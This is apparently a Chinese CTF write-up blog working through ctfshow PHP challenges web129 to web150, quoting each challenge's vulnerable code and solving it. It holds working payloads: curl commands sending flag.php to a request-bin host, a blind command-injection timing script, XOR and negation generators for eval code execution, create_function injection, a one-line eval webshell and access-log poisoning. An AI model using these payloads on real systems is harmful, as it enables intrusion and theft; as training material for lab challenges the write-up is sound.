PHP特性-END
2023-3-27
| 2023-3-27
0  |  0 分钟

web129

PHP Version: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 03:18:40 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }

知识点

  • 包含特定字符绕过

做题

readfile() 可以传入一个伪协议,也可以通过子目录父目录的方式绕过

子目录

首先要确定所含判断条件中有名为过滤条件的目录,比如此处过滤条件为 ctfshow,我们就可以看一下有没有名为 ctfshow 的目录,有的话就可以通过 ./ctfshow/../ 来回到本目录,并在后面加上 flag.php 来读取目录。

函数/方法

stripos

作用:查找字符串首次出现的位置(不区分大小写)
如:
stripos("KleeMoe", 'moe'); // 4

readfile

作用:readfile — 输出文件,读取文件并写入到输出缓冲。

web130

PHP Version: 5.6.40

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }

做题

最初一看,以为第二个判断条件 stripos($f, 'ctfshow') === FALSE 是要求 ctfshow 不能放在开头,同时第一个又要求 ctfshow 前面不能出现东西,结果看错了,注意这里第二个判断条件使用的是强类型匹配,匹配的 false,意思是 ctfshow 必须出现,那么只需要 post 的数据 f 为 ctfshow 即可。
curl --location --request POST 'http://749704d9-c63b-4cec-a753-0bf73e418ca3.challenge.ctf.show:8080/' \ --form 'f="ctfshow"'

web131

PHP Version: 5.6.40

知识点

  • PHP 正则表达式最大回溯/递归表示

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); } echo $flag; }

做题

我一开始的思路是,正则匹配式为 /.+?ctfshow/is,s为single line,那么换行能不能绕过呢?试了一下并不行,然后查了一下writeup
PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种 贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。 非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。 ———————————————— 版权声明:本文为CSDN博主「z.volcano」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/weixin_45696568/article/details/113631173
为了防止资源耗尽,当要匹配的字符串长度大于 1000014 时,就不会得出正确结果,所以我们要做的就是让前面的东西足够大,以至于无法匹配到后面。但要注意,post的时候字符串也不要太大,避免出现太大请求失败的情况。
编程语言都有类似的字符串重复的语句,比如 PHP 可以使用 str_repeat("kleeisthebest", 233);,Python 可以使用 "kleeisthebest"*233

Payload

<?php $str = str_repeat("kleeisthebest", 80000)."36Dctfshow"; $url = 'http://ee4d473e-a920-4b94-9aa2-959840adcf04.challenge.ctf.show:8080/'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, array('f' => $str)); $result = curl_exec($ch); if (curl_errno($ch)) { echo 'Error:' . curl_error($ch); } curl_close($ch); //var_dump($str); echo $result;

参考资料

web132

PHP Version:5.6.40

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 06:22:13 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 20:05:36 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ #error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }

做题

原本以为这是一题黑盒题,结果原来只是套到了 /admin/ 下,好家伙做了这么久 PHP 特性来一个黑盒竟然都不会做了,是先看 hint。。。
先访问 /robots.txt ,发现有一条 Disallow: /admin ,遂访问之。
注意这里面判断语句, if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
中间这里用的是 || ,而 && 的优先级是比 || 高的,所以前面两个判断有一个为false就会判断后面的 $username == "admin" ,只需要在参数中传入即可,而第二个判断条件 if($code == 'admin') 也是一样,最后传入参数为 ?username=admin&password=1&code=admin 即可获得flag。

web133

PHP Version: 7.3.11

知识点

  • PHP 执行运算符运行 Shell
  • 分隔符中插入变量

代码

<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 16:43:44 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }

做题

根据wp,如果传递的参数包括 `$F` 本身,那么就会发生变量覆盖,于是我的疑问如下。
  • ` 这个符号在PHP中代表了什么?为什么 $F 可以绕过截断?它的作用是否和 eval 类似?
    • 答:`shell code here` 在PHP中的作用和 shell_exec() 一样,要求 shell_exec() 启用的时候才会有效
  • 可以绕过截断的情况下,为什么`$F` 不会造成循环调用自身?
    • 答:因为在 shell 环境下,实际上 $F 是没有被赋值的,我们利用下面这个简单的两行代码来看看效果
      echo substr($F,0,6); echo `$F`;
      notion image
      可以看到,$F 是没有值的, 同时我们可以跑一些自带的命令如 ping 来看一下它的作用。
      notion image
接下来的要求就是把 flag.php 带出来了,看起来这里的内容并不会被直接输出。
我们可以使用类似 https://requestbin.com/ 这样的网站来生成一个 bin,然后使用 curl -XPOST -T flag.php https://xxxxxxx.x.pipedream.net/ 来将文件内容带出来,此处 payload 为
?F=$F;+curl%20-XPOST%20-T%20flag.php%20https://xxxxxxxx.x.pipedream.net/
notion image
于是我们可以在这里拿到flag

参考资料

ctfshow web133和其他命令执行的骚操作_Firebasky的博客-CSDN博客
这里是总结自己最近遇到的命令执行题,感觉还是不错分享出来。也欢迎师傅们评论一些骚操作 1.正常解 这个题是自己出的主要是考察,命令执行的骚操作和curl -F的使用 分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能 但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖? 那我们来一个简单的测试, 然后就是利用curl去带出flag.php curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies) 使用方法 所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag 在线工具 2.新思路 但是总是有师傅用其他方法,嘻嘻嘻比如说 羽师傅 羽师傅是利用curl 去带出数据类似于dnslog 但是自己之前测试过带出数据只能一排一排的带出,数据太多就不行 测试 而我的test.php内容是 这就说明只能一排一排的带出数据。 那么我们想一想flag.php里面肯定有flag想一想有没有特点用于区别其他行? hhh,当然是 flag{}啦,我们就可以使用 grep 命令进行筛选(经过测试发现一排只能带65个字符) 实验 test2.php内容是 成功获得flag 细心的师傅就会发现6个字符截断其实是一个小小的坑~ 还有这里解释一下,反弹shell可能不会成功,自己测试了一下大概是因为& 符合的影响,在GET方法中识别成变量的分隔符。可能是我太菜了,没有成功~。成功的师傅可以分析一下呢 1.base64绕过 这里源代码非常简单就是不能匹配正则表达式上面的字母 想一想可以通过编码的方法来绕过,linux下面支持base64编码和解码。 base64 -d用来解码。 使用思路就清楚啦,先将命令进行base64编码然后去base64 -d解码,然后通过bash去执行。 payload: echo$IFS$9Y2F0ICAvZmxhZwo=|base64$IFS$9-d|bash 意思是: echo cat /flag | base64 -d|bash 将cat /flagbase64编码的进行base64解码然后通过bash执行 (注意的是需要多次改变空格来保证不需要命令执行情况而且不能包含正则表达式上面的字母) 2.
ctfshow web133和其他命令执行的骚操作_Firebasky的博客-CSDN博客

web134

知识点

  • 利用 parse_str 覆盖数组
  • 利用 extract 将数组解析为变量

做题

原本我的思路是按照 web126/?key=233+key1=36d 来进行覆盖的,但经过尝试以后,发现这题和 web126 是不一样的,web126 使用的是 $a=$_SERVER['argv']; ,我们这里使用的是 parse_str($_SERVER['QUERY_STRING']); 这里解析后只会产生这样的数据
notion image
所以,根据提示,我们应该用 $_GET 来覆盖 $_POST ,确实是比较牛逼,我们可以使用 ?_POST[key1]=36d&_POST[key2]=36d 来达到 $_GET 覆盖 $_POST 的效果,下面我用一个 gif 来演示一下变量的变化过程。
notion image

web135

代码

<?php /* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 18:48:03 */ error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }

知识点

  • 使用通配符绕过正则表达式
  • 该题文件可写,直接复制一个就行了。。
  • 使用ping与dnslog逐行将内容带出(反正我没搞出来(

做题

非预期解 1

将 web133 的 curl 改为 /usr/bin/cur* 即可
?F=$F;+/usr/bin/cur*%20-XPOST%20-T%20flag.php%20https://xxxxxxxx.x.pipedream.net/

非预期解 2

这时候你又不限制文件写入了。。。将 flag.php 复制为 flag.txt 即可
payload: ?F=$F;%20cp%20flag.php%20flag.txt

预期解

你这 hint 有问题啊,cat都被屏蔽了,跟着hint就做不出来
 

web136

PHP Version: 7.3.11

知识点

  • exec 执行 linux 指令
  • tee 将标准输出输出至文件

代码

<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>

做题

注意,这里使用的是 exec() 而非 eval() ,也就意味着他是直接执行 linux 指令的。如果没有拦截 nc;netcat,我们可以使用反弹shell的方式来获取flag。
但是,他这里并没有使用 echo 或者 print 之类的语句将执行结果打印出来,也就意味着我们只能使用输出至文件的方式。
输出至文件,这里 > 被拦截了,但我们可以使用 tee 来将其输出至文件,有关tee的作用可以参照下面的参考资料
所以我们可以使用 ls / | tee a 来将 ls / 执行后的结果保存到 a,执行后的结果可访问 url/a 访问,此处为
bin dev etc f149_15_h3r3 home lib media mnt opt proc root run sbin srv sys tmp usr var
我们可以看到有一个 f149_15_h3r3 挺扎眼的,使用 cat /f149_15_h3r3 | tee b 看看,确实是flag

web137

PHP Version: 7.3.11

知识点

  • class 静态方法的调用
  • call_user_func 使用 class::method 调用类方法

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:27:49 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);

做题

如此题描述所述,该题确实非常简单。
你只需要了解怎么使用 call_user_func 调用类静态方法即可。
方法一:直接 POST ctfshow=ctfshow::getFlag(适用于 web137)
方法二:设置 ctfshow[0]=ctfshow, ctfshow[1]=getFlag(适用于web137 / web138)

参考资料

web138

PHP Version: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:52:13 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);

知识点

  • class 静态方法的调用
  • call_user_func 使用 class::method 调用类方法

做题

使用 web137 中的方法二即可
方法二:设置 ctfshow[0]=ctfshow, ctfshow[1]=getFlag(适用于web137 / web138)

web139

知识点

  • 利用时间盲注来猜测文件名&字符串
  • linux 截取字符串的方法
  • Python 的 for 循环语句
  • ASCII 码表

做题

根据参考资料 1,我们可以通过 cut -c N 来裁切管道传来的字符。在实际操作的时候,我发现 cut 会对每一行都进行切割,导致返回的是一个数组,如下图所示。
notion image
我们可以使用 awk 'NR==n'或者 cat test|sed -n '4p' 来继续对输出进行以行为单位的切割。
根据该题描述,我们可以简单地写一个python小程序用于根据时间盲注返回结果
import requests ctfshow_url = "http://cee9d3b0-a2bd-4822-aa52-95d28affaec9.challenge.ctf.show:8080/" output = "" command = "ls /" # 可在此修改命令 for output_line_index in range(1, 30): # 用于找到某一行 output_line_payload = "if [ -z `{0} | awk 'NR=={1}'` ]; then sleep 3; fi".format(command, output_line_index) line_output = "" try: requests.get(ctfshow_url, params={'c': output_line_payload}, timeout=2.5) for output_exist_index in range(1, 999): # 第一层用于判断某位字符是否存在 output_exist_payload = "if [ -z `{0} | awk 'NR=={1}' | cut -c {2}` ]; then sleep 3; fi"\ .format(command, output_line_index, output_exist_index) try: requests.get(ctfshow_url, params={'c': output_exist_payload}, timeout=2.5) # 设定一个小于 3 秒的延时用于判断字符是否存在 for output_content_index in range(33, 127): output_content_payload = "if [ `{0} | awk 'NR=={1}' | cut -c {2}` = {3} ]; then sleep 3; fi"\ .format(command, output_line_index, output_exist_index, chr(output_content_index)) try: requests.get(ctfshow_url, params={'c': output_content_payload}, timeout=2.5) # 设定一个小于 3 秒的延时用于判断字符是否为猜测字符 except: line_output = line_output + chr(output_content_index) print("找到字符,新的字符串为:" + line_output) break except: # 如果超过3秒则输出结果结束 output += line_output + "\n" print("结束输出,该行输出结果为\n" + line_output) break except: print("所有输出结束,最终结果为\n" + output) break
 
notion image
一轮扫描下来,我们可以发现扫描结果 ls / 有一个结果为 f149_15_h3r3 ,这个应该就是flag,我们再将上面的 ls / 改为 cat /f149_15_h3r3
notion image
由于此处 { 和 } 被过滤了,上交flag的时候注意自己补充上就行了

参考资料

web140

PHP Verion: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 12:39:25 */ error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }

知识点

  • 松散比较
  • 对于函数的intval

做题

上回书说到,对于 PHP 数字的判断 ,弱类型是不严格的,比如说 36 == '36ddddddd'这个返回的是 true,也就是说,对于这题,我们只需要找到一个能使 intval($code) == 0 的即可。所以这题就变得简单了,f1 随便给个类似 md5 啊,sleep 啊之类的都可以,你喜欢的话甚至可以 Intval 套娃。

参考资料

web141

PHP Version: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:28:09 */ #error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }

知识点

  • 无字母数字绕过正则表达(取反/异或)
  • PHP 7 解析方式特性 (function/variable)(param)

做题

由题,v1和v2都得是数字没跑了,重点应该在v3上。但是v3不能使用数字,我们可以使用无字母数字绕过正则表达式的方式,此处我们使用异或的方式,同时使用 PHP 7 的特性,即 (function)(param) 的方式来传入。
notion image
为此,我们可以用下面的程序来计算传入的异或或者取反表达式

取反

(因为 http_build_query 会将 ~ 和 ( 也urlencode掉,好像就没法用了,所以这里还是自己拼接算了
<?php $function_encoded = urlencode(~$_GET['function']); $param_encoded = urlencode(~$_GET['param']); // $params = array( // "v1" => "1", // "v3" => "-(~$function_encoded)(~$param_encoded)-", // "v2" => "1" // ); // $payload = http_build_query($params); // echo "payload: $payload"; echo "payload: v1=1&v2=1&v3=-(~$function_encoded)(~$param_encoded)-";
notion image
访问一下,填入function和param,payload 出来的结果直接丢入即可获得flag。

异或

注释应该还挺详细的,将就着看
# Author: KleeMoe import re from urllib.parse import quote # 用于转换 urlencode char_set = {} pattern = r"^\w+$" # 匹配正则表达式 print("初始化字符表") for first_xor in range(0, 255): # 从 ASCII 码 0~256 中找到可与第二个异或的 if re.match(pattern, chr(first_xor)) is None: # 判断该字符是否在正则匹配之中,如果不在 for second_xor in range(0, 255): # 同上,找到可与第一个异或的: if re.match(pattern, chr(second_xor)) is None: # 同上 if (first_xor ^ second_xor) not in char_set: # 判断符号集中是否存在正则匹配式的字母表 char_set[first_xor ^ second_xor] = [first_xor, second_xor] # print("Find: " + chr(first_xor ^ second_xor) + " " + str(first_xor) + " " + str(second_xor)) def ret_xor(arg): encoded_first = "" encoded_second = "" for char in arg: char_xor = char_set[ord(char)] # 获取字符所在的两个异或 encoded_first += quote(chr(char_xor[0])) # 对第一个字符进行url编码 encoded_second += quote(chr(char_xor[1])) # 对第二个字符进行url编码 return encoded_first, encoded_second function = ret_xor(input("function: ")) command = ret_xor(input("command: ")) print("(\"{0}\"^\"{1}\")(\"{2}\"^\"{3}\")".format(function[0], function[1], command[0], command[1]))
此处注意,异或的字符串要加双引号来进行计算,比如 ("%08%02%08%08%05%0D"^"%7B%7B%7B%7C%60%60")("%03%01%08%00%06%0C%01%07%00"^"%60%60%7C%20%60%60%60%60%2A") ,切莫忘记双引号,不然就无法进行异或计算了。因为小数点计算可能有问题,我们可以使用通配符来进行传入,最终命令为 system("cat flag*")
notion image
同时,在PHP里面,数字是可以和函数进行加减运算的,所以我们传入 v1=1, v2=1, v3=-payload-,最终payload为
curl --location --request GET 'http://21ed1b5c-4462-40aa-b5b0-2ba1b3dd3667.challenge.ctf.show:8080/?v1=1&v2=1&v3=-("%08%02%08%08%05%0D"^"%7B%7B%7B%7C%60%60")("%03%01%08%00%06%0C%01%07%00"^"%60%60%7C%20%60%60%60%60%2A")-'

参考资料

web142

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-17 19:36:02 */ error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }

做题

确实难度0 =。=
传入一个 v1 ≤ 0 的数即可,或者 v1 > int_max 的也行

web143

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 12:48:14 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }

做题

参考 web141 的异或部分,将 web141 的py脚本中pattern改为 [a-z]|[A-Z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\; 即可,并且将 v3 改为 *payload* (因为-被过滤了,还可以用*来代替运算)
/?v1=1&v2=1&v3=*(%22%0C%06%0C%0B%05%0D%22^%22%7F%7F%7F%7F%60%60%22)(%22%03%01%0B%00%06%0C%01%07%00%22^%22%60%60%7F%20%60%60%60%60%2A%22)*

web144

PHP Version: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 16:21:15 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }

做题

有了前两次的基础,这题就不困难了。使用 web 141 中两种方法任意一种都可以,将 v1 设为 1,将 v3 设为 -,v2 设为执行函数即可。这里用取反作为例子
<?php $function_encoded = urlencode(~$_GET['function']); $param_encoded = urlencode(~$_GET['param']); echo "payload: v1=1&v3=-&v2=(~$function_encoded)(~$param_encoded)";
payload: v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%D5)

web145

PHP Version: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }

知识点

  • 运算符与函数的配合

做题

我超,没想到加减乘除用完还能用二元表达式,是在下输了
<?php $function_encoded = urlencode(~$_GET['function']); $param_encoded = urlencode(~$_GET['param']); echo "payload: v1=1&v2=1&v3=?(~$function_encoded)(~$param_encoded):";
将 v3 改为前面 ? 后面 : 组合成二元表达式,最后组合为 1?payload:1 会执行到第一个命令。

web146

  • 运算符与函数的配合

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-18 17:41:33 */ highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }

做题

PHP算是给大佬玩明白了🧎‍♀️
将 ?: 改成 | (或) 即可

web147

PHP Version: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 02:04:38 */ highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }

做题

  • 为什么 \ 可以绕过正则表达式?
    • notion image
      答:这里可以看到官方对于全局空间的概念。
      如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间,与 PHP 引入命名空间概念前一样。在名称前加上前缀 \ 表示该名称是全局空间中的名称,即使该名称位于其它的命名空间中时也是如此。(参考资料3)
      php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。 接下来第二个参数可以引发危险的函数。(参考资料1)
      刚好该题中正则表达式又限制了不允许只出现数字和下划线,用一个 \ 即可成功绕过正则表达式。
根据官方(参考资料2)的说明,第一个参数是用来传入参数的,第二个则是function中的内容。关于create_function如何实现RCE,为什么闭合后可后面追加代码实现任意代码执行,可参考参考资料4。
简单来说, create_function($a, $b) 等价于 eval('function __lambda_func(' . $a . '){' . $b '}\0') (该段代码参考自参考资料4),$a 传入参数已经为空,我们只需要在 $b 上动手脚即可。同时,因为我们没法直接调用 create_function 后的函数,我们才需要手动闭合右括号并加入自己的代码,最后用 ///* 来将后面的 }\0 注释掉,至于create_function你想让他返回什么,那是随便。
所以,我们使 Post Param 中的 ctf=\create_function, 并使 Get Param 中 show=return 1;} system("cat flag.php"); // 即可获得flag。
payload:
curl --location -g --request POST 'http://1c9fe780-b91a-4f56-b76d-123eb6796bcc.challenge.ctf.show:8080/?show=return 1;} system("cat flag.php"); //' \ --form 'ctf="\\create_function"'
 

参考资料

create function php,PHP create_function()代码注入_寒墨夜殇的博客-CSDN博客
查看代码 分析 变量$action要出现数字字母以外的字符,还要执行函数。 /i不区分大小写 /s匹配任何不可见字符,包括空格、制表符、换页符等等 /D如果使用$限制结尾字符,则不允许结尾有换行 这里要绕过正则,经过百度得知\ 百度百科: php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。 接下来第二个参数可以引发危险的函数。 这里注意到参数的构造方式 $action('',$arg); 很显然,需要一个可以输入至少2个参数的函数 发现create_function create_function在构建函数的时候,也是使用的字符串拼接的方式,将第二个参数的$code传入到其中 create_function函数 string create_function ( string $args , string $code ) string $args 变量部分 string $code 方法代码部分 举例: create_function('$fname','echo $fname."Zhang"') 类似于: function fT($fname) { echo $fname."Zhang"; } 尝试构造payload ?action=%5ccreate_function&arg=1";}phpinfo();/* ?action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/* 标签:function,string,create,fname,action,PHP,函数 来源: https://www.cnblogs.com/ZHH-BA/p/12468480.html
create function php,PHP create_function()代码注入_寒墨夜殇的博客-CSDN博客

web148

PHP Version: 7.3.11

代码

非预期解

这里也可以用刚才的异或来做,因为这里没有屏蔽 (^),用web141的脚本后面加上分号即可

预期解

使用非英文数字变量,比如中文变量,官方解如下
?code=$哈="`{{{"^"?<>/";${$哈}[];&哼=system&嗯=tac f* "
$哈 == _GET, 所以 ${$哈} == $_GET,${$哈}[哼] == $_GET[哼] == system, ${$哈}[嗯] == $_GET[嗯] == tac f*, 就等于执行 system(tac f*)

web149

PHP Version: 7.3.11

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 04:34:40 */ error_reporting(0); highlight_file(__FILE__); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($_GET['ctf'], $_POST['show']); $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }

做题

你扫任你扫,我可没说要写在别的地方,我直接写你脸上(指 index.php
ctf=index.php , show=一句话木马 结束战斗,直接antsword拿flag。
curl --location --request POST 'http://30c8f7f8-e182-4ee9-a649-68918b032353.challenge.ctf.show:8080/?ctf=index.php' \ --form 'show="<?php eval($_POST[0]);"'

web150

PHP Version: 5.6.40

代码

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{ private $username; private $password; private $vip; private $secret; function __construct(){ $this->vip = 0; $this->secret = $flag; } function __destruct(){ echo $this->secret; } public function isVIP(){ return $this->vip?TRUE:FALSE; } } function __autoload($class){ if(isset($class)){ $class(); } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){ die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){ echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE){ include($ctf); }

做题

我做这道题的内心戏是这样的。。
notion image
然后实在没头绪,看了一下wp原来是靠文件包含做的。。。
可以将 ctf 设置为 /var/log/nginx/access.log ,然后将 isVIP 通过 extract($_GET) 设置为 true,并且将 header 中的 User-Agent 改为 <?php echo $flag; ?> 即可获得flag。

web150_plus(未完成)

PHP Version: 5.6.40

代码

